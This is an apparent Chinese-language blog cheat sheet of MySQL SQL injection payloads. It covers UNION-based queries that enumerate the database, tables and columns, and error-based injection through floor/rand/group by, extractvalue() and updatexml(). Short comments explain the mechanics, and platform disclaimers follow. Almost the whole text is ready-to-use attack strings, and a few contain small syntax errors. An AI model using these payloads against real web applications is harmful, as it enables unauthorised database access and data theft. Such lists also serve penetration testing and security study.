union聯(lián)合查詢注入
xx' union select database()
xx' union select table_name from information_schema.tables where table_schema ='DATABASE'
xx' union select column_name from information_schema.columns where table_name='TABLE'
xx' union select group_concat(*)/concat(0x7e,COLUMN1,0x7e,COLUMN2) from DATABASE.TABLE
報(bào)錯注入
floor()+count(*)+concat()+rand(0)*2+group by
#其實(shí)是group by 和count(*)和rand()的化學(xué)反應(yīng),缺一不可
xx' and select count(*) from information_schema.tables group by concat(0x7e,(SELECT VERSION()),0x7e,floor(rand(0)*2))
extractvalue()
#第二個參數(shù)XPath不符合格式的符號包括其后報(bào)錯
xx' and select extractvalue(1,concat(0x7e,(SELECT VERSION()),0x7e))
updatexml()
#無需使用select,其他同上
xx' and updatexml(1,concat(0x7e,(SELECT VERSION()),0x7e),1)
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。